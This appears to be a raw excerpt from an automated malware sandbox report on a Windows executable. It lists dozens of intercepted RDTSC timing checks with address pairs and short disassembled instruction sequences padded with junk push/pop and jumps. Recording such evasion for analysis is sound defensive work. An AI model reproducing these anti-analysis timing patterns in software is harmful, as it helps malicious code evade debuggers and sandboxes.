Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5F0B9 second address: C5F0E6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC9D8BCC187h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5F0E6 second address: C5F0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5F3F8 second address: C5F3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5F3FC second address: C5F410 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FC9D915F4B6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5F410 second address: C5F414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5F414 second address: C5F426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FC9D915F4BEh 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5F426 second address: C5F42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C63284 second address: C63288 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C63288 second address: C63298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 js 00007FC9D8BCC178h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C62B51 second address: C62B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC9D915F4C2h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C62B6D second address: C62B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C62B71 second address: C62B75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C62CD6 second address: C62CFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FC9D8BCC184h 0x0000000c jmp 00007FC9D8BCC178h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C62CFC second address: C62D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jne 00007FC9D915F4B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C62D0C second address: C62D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C62D12 second address: C62D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC9D915F4B6h 0x0000000a popad 0x0000000b jmp 00007FC9D915F4C5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C62D32 second address: C62D43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9D8BCC16Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C62D43 second address: C62D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C69FE2 second address: C69FE9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C69FE9 second address: C69FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C67FA9 second address: C67FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C67FAE second address: C67FB8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC9D915F4C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C67FB8 second address: C67FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C67FBE second address: C67FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FC9D915F4BCh 0x0000000d ja 00007FC9D915F4B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C68283 second address: C6829F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FC9D8BCC166h 0x00000009 jmp 00007FC9D8BCC171h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C685B4 second address: C685BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FC9D915F4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C68B43 second address: C68B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C68B48 second address: C68B6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4BBh 0x00000007 pushad 0x00000008 je 00007FC9D915F4B6h 0x0000000e jmp 00007FC9D915F4BEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C68B6C second address: C68B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC9D8BCC177h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C68B8C second address: C68B92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C68B92 second address: C68BA6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC9D8BCC166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jnc 00007FC9D8BCC166h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C68E45 second address: C68E55 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC9D915F4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C68E55 second address: C68E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C68E5B second address: C68E5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C693A3 second address: C693A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C693A8 second address: C693CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FC9D915F4C2h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FC9D915F4B8h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C693CC second address: C693D8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC9D8BCC16Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C6E9AF second address: C6E9B4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C6E9B4 second address: C6E9CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9D8BCC16Ch 0x00000009 pop esi 0x0000000a jo 00007FC9D8BCC16Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C6DD29 second address: C6DD5C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC9D915F4D5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FC9D915F4C4h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C6DD5C second address: C6DD60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C6E69F second address: C6E6A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C72EB5 second address: C72EB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C72EB9 second address: C72ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC9D915F4B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007FC9D915F4BCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C72ECD second address: C72EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FC9D8BCC16Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C72EE2 second address: C72EEC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC9D915F4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C72EEC second address: C72EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C79F41 second address: C79F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jp 00007FC9D915F4BAh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 push edi 0x00000013 jmp 00007FC9D915F4C8h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C7A246 second address: C7A24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C7A675 second address: C7A67F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC9D915F4C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C7A67F second address: C7A685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C7A685 second address: C7A6BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jg 00007FC9D915F4B6h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007FC9D915F4C2h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FC9D915F4C1h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C853B9 second address: C853C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC9D8BCC166h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C853C4 second address: C853E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9D915F4C8h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C853E2 second address: C853F2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC9D8BCC166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C8F125 second address: C8F12F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C8F12F second address: C8F13A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC9D8BCC166h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C8F13A second address: C8F164 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC9D915F4D4h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C92BCA second address: C92BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C928EA second address: C928F4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC9D915F4C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C9C83D second address: C9C845 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C9C845 second address: C9C850 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FC9D915F4B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C9C850 second address: C9C859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C9C859 second address: C9C86F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC9D915F4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007FC9D915F4D2h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C9C86F second address: C9C87B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C9C87B second address: C9C87F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CA4C2C second address: CA4C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CA4C32 second address: CA4C59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007FC9D915F4CFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CA4C59 second address: CA4C60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CA4A42 second address: CA4A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CA4A48 second address: CA4A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9D8BCC173h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CA4A60 second address: CA4A65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CA4A65 second address: CA4AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FC9D8BCC16Dh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f je 00007FC9D8BCC166h 0x00000015 push eax 0x00000016 pop eax 0x00000017 jns 00007FC9D8BCC166h 0x0000001d jmp 00007FC9D8BCC176h 0x00000022 popad 0x00000023 jmp 00007FC9D8BCC16Fh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CA4AB0 second address: CA4AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CA6226 second address: CA6237 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FC9D8BCC166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CA6237 second address: CA6243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB1621 second address: CB1626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB1626 second address: CB1646 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB1646 second address: CB164B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB164B second address: CB1652 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB191D second address: CB1934 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 jg 00007FC9D8BCC178h 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FC9D8BCC166h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB2058 second address: CB206E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB2B5C second address: CB2B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9D8BCC16Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB75D5 second address: CB75D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB75D9 second address: CB75E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007FC9D8BCC166h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB75E9 second address: CB75F3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC9D915F4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB7227 second address: CB722D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB7363 second address: CB7369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CB7369 second address: CB736E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CD500E second address: CD5012 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CD5012 second address: CD5028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC9D8BCC16Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CD5028 second address: CD502C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CD4D05 second address: CD4D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CEDBFC second address: CEDC01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CEDC01 second address: CEDC06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CECA0F second address: CECA37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9D915F4C9h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FC9D915F4B6h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
